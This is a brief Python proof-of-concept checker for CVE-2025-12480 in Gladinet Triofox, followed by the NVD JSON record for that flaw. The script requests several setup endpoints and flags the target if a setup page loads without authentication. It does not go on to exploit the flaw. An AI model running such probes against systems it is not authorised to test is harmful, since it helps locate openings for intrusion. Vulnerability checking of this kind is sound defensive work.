CVE-2025-12480

import requests import sys def check_cve_2025_12480(target_url): """ CVE-2025-12480 PoC - Triofox Improper Access Control Checks if initial setup pages are accessible after setup completion """ setup_endpoints = [ "/setup", "/initial", "/wizard", "/setup.aspx", "/admin/setup", "/api/setup/status" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-12480 PoC - Triofox Access Control Bypass\n") vulnerable = False for endpoint in setup_endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: if 'setup' in response.text.lower() or 'configuration' in response.text.lower(): print(f"[+] VULNERABLE: {url}") print(f" Status Code: {response.status_code}") print(f" Setup page accessible without authentication") vulnerable = True except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") if vulnerable: print("\n[!] Target is vulnerable to CVE-2025-12480") print("[!] Recommendation: Upgrade to Triofox >= 16.7.10368.56560") else: print("\n[+] Target appears not vulnerable") return vulnerable if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-triofox-server.com" check_cve_2025_12480(target)

{"cve": {"id": "CVE-2025-12480", "sourceIdentifier": "[email protected]", "published": "2025-11-10T15:15:36.527", "lastModified": "2025-11-14T02:00:02.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Triofox versions prior to 16.7.10368.56560, are vulnerable to an Improper Access Control flaw that allows access to initial setup pages even after setup is complete."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "cisaExploitAdd": "2025-11-12", "cisaActionDue": "2025-12-03", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Gladinet Triofox Improper Access Control Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gladinet:triofox:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.7.10368.56560", "matchCriteriaId": "85D1B442-0354-472A-9A4C-1417AAE16936"}]}]}], "references": [{"url": "https://access.triofox.com/releases_history/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://cloud.google.com/blog/topics/threat-intelligence/triofox-vulnerability-cve-2025-12480", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2025/MNDT-2025-0008.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.triofox.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-12480", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}